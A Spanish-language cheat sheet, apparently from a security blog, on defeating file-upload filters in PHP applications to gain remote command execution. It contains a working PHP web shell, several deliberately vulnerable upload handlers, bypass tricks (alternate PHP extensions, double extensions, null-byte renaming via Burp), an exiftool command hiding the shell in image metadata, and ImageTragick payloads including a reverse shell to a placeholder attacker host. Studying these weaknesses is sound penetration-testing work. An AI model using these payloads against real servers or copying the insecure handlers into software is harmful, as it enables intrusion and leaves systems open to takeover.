Cuando encontramos un formulario para subir imagenes a un servidor a veces se puede usar para conseguir RCE (Remote command execution). En este cheatsheet trataremos algunos metodos para bypassear los filtros a los que someten los archivos para evitar RCE.

Nos ponemos en la situación, nos encontramos este formulario:

Además gracias al previo análisis hemos encontrado la carpeta donde se suben los archivos que para este post sera la carpeta uploads

Dependiendo de como se programe la subida y las técnicas de securización que utilice el programador, nos encontraremos diferentes casos.
Vamos a detallar algunos:

  • File upload sin control de extensión:
    No es lo mas habitual encontrarse este tipo de formulario debido a su falta de seguridad:

    <?
     move_uploaded_file($_FILES['imagen']['tmp_name'], "uploads/".$_FILES['imagen']['name']);
    ?>

    El php simplemente recoge el archivo del formulario y lo va a guardar en la carpeta uploads, sin ninguna restricción. Esto nos permite subir cualquier tipo de archivo, como por ejemplo un php que nos permite ejecutar comandos:

     <form action="<?php $PHP_SELF ?>" method="post">
    Command: <input type="text" name="cmd">
    <input type="submit">
    </form>
    <?php
     if($_POST){
     system($_POST['cmd']);
    }
    ?>
    

  • File upload con blacklist de extensiones:
    La blacklist de extensiones será una lista de tipos de archivos que no se admiten.
    La problemática de este método es la gran cantidad de archivos que sería un riesgo admitir en el formulario por lo que es recomendable realizar la lista al reves, es decir, de los que se admiten.
    Por ejemplo este código valida que el archivo no sea ni .php, ni texto plano y tampoco .exe

    <?php
      $uploaded_type = $_FILES[ 'imagen' ][ 'type' ]; 
      if ( $uploaded_type != "text/plain" && $uploaded_type != "application/x-php" && $uploaded_type!= "application/vnd.microsoft.portable-executable" )
       {
          if(move_uploaded_file($_FILES['imagen']['tmp_name'], "uploads/".$_FILES['imagen']['name']))
            {
              echo "Subido correctamente";
             }
          else echo "Error en la subida";
       }
     else
       {
         echo "Invalid type of file";
       }
    ?>
    

    En este ejemplo esto no nos asegura que no se pueda ejecutar php, ya que solo cambiando el php a .pht también se logra ejecutar código php. Algunas extensiones que ejecutan php son:

    php1
    php2
    php3
    php4
    php5
    pht
    phtml

  • File upload con control de extensión:
    En este caso el script de php hará una simple comprobación de si la extensión esta en la cadena del nombre. Es una protección de muy baja seguridad ya que cambiando simpemente nuestro webshell.php a webshell.jpeg.php nos dejaría subirlo
    Un ejemplo del script de php sería:

    <?php
       $valid_file_extensions = array(".jpg", ".jpeg", ".gif", ".png");
       $flag=False;
       foreach($valid_file_extensions as $cad)
        {      
         if (strpos($_FILES["imagen"]["name"], $cad) !== false) 
            {
              $flag=True;
              break;
            }
        }
      if ( $flag)
         {
         if(move_uploaded_file($_FILES['imagen']['tmp_name'], "uploads/".$_FILES['imagen']['name'])){
             echo "Subido correctamente";
           }
         else echo "Error en la subida";
         }
      else 
         {
          echo "Invalid type of file";
         }
    ?>
    

  • File upload con control de “extensión” y MIME type:
    El php que controla la subida de archivos en este caso comprobará el tipo de archivo subido mediante el uso del array asociativo FILES. Un ejemplo de un script de php que realizaría esta funcion es:

    <?php
      $uploaded_type = $_FILES[ 'imagen' ][ 'type' ]; 
      if ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" )
       {
          if(move_uploaded_file($_FILES['imagen']['tmp_name'], "uploads/".$_FILES['imagen']['name']))
            {
              echo "Subido correctamente";
             }
          else echo "Error en la subida";
       }
     else
       {
         echo "Invalid type of file";
       }
    ?>
    

    Este script comprueba que solo se suban png o jpeg.
    El problema de este metodo que solo verifica la extensión al momento de enviarlo, es decir, del lado del cliente. También comprueba el content type.
    Encontramos varios metodos:

    • Modificando la extensión
      Podemos interceptar la peticion POST con el burpsuite y modificar la extension con la que va a guardar el archivo pero manteniento el MIME como si fuera una imagen.

      Utilizaremos para explotarlo el webshell.php cuyo codigo esta en el apartado superior y simplemente cambiamos el nombre del webshell.php a webshell.php.jpeg con el objetivo de que detecte que el content type sea jpeg.

    • Null byte:
      Podemos subir una imagen cambiando el nombre del webshell.php a webshell.php.jpeg e introduciendo detras de php el Null byte. Para ello interceptamos la subida de nuestro archivo con BurpSuite y le añadimos una letra detras de php, algo asi:

      webshell.phpX.jpeg

      Buscando en el hexadecimal del POST interceptado por BurpSuite, encontramos el hexadecimal del nombre del archivo y modificamos el hexadecimal correspondiente a nuestra X por el 00.
      De esta manera detecta el NullByte y no tiene encuenta la segunda extensión al guardarlo por lo que quedaría como webshell.php

  • File upload con control mediante getimagesize():
    La funcion getimagesize() obtiene una serie de información de la imagen, cuando el archivo que se le pasa no es una imagen se obtiene un error.
    Gracias a esto algunos programadores lo aprovechan para validar la subida de imagenes. Esto es explotable.
    El script de php que valida esto sería algo asi:

    <?php
      if (@getimagesize($_FILES["imagen"]["tmp_name"]) !== false)
         {
         	if(move_uploaded_file($_FILES['imagen']['tmp_name'], "uploads/".$_FILES['imagen']['name']))
    	{
             	echo "Subido correctamente";
             }
            else echo "Error en la subida";
         }
      else 
         {
          echo "Invalid type of file";
         }
    ?>
    

    Podemos conseguir RCE añadiendo a los metadatos de la imagen un script de php, como antes usare el webshell.php

     exiftool -Comment="<?php echo '<form action=\''.\$PHP_SELF.'\' method=\'post\'>Command:<input type=\'text\' name=\'cmd\'><input type=\'submit\'></form>'; if(\$_POST){system(\$_POST['cmd']);} __halt_compiler();" iron-man.jpg 
    

    Solo tenemos que añadir a los metadatos un comentario con el script de php a ejecutar, como vemos el script no se cierra y al final se le añade __halt_compiler(); para que no ejecute los datos de la propia imagen y nos de error de compilación el php.

    Solo tenemos que renombrar nuesta imagen de ironHackers.jpg a ironHackers.jpg.php y ya la podríamos subir sin problema.

  • Conversor de imagenes ImageMagick:
    En este caso no es una simple subida si no que lo que hace el servidor es convertir nuestra imagen con el software de ImageMagick.
    Las versiones de este software anteriores a la 7.0.1-1 son vulnerables debido a que permiten convertir imagenes externas haciendo uso de curl o wget y no realizan el filtrado de los parametros que se le pasan correctamente. Este exploit es llamado ImageTragick.

     convert 'https://test.com";|ls "-la' test.png
    

    Esto ejecutaria el comando ls -la gracias a que lo concatenaría de la obtención de la imagen a traves de curl o wget.

    Gracias a los tipos de archivos que permite ImageMagick se puede subir una imagen crafteada con un contenido que explotará esta vulnerabilidad. Solo escribiendo en un archivo el siguiente contenido y guardandolo con formato de imagen al subirlo obtendremos RCE.

    push graphic-context
    viewbox 0 0 640 480
    fill ‘url(https://127.0.0.1/test.jpg”|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch “hello)’
    pop graphic-context

    Esta técnica se puede combinar con el resto si existe otro tipo de restricción.

Herramientas:
BurpSuite, HacktheBox, Fluxploider

Referencias:

¿Me ayudas a compatirlo?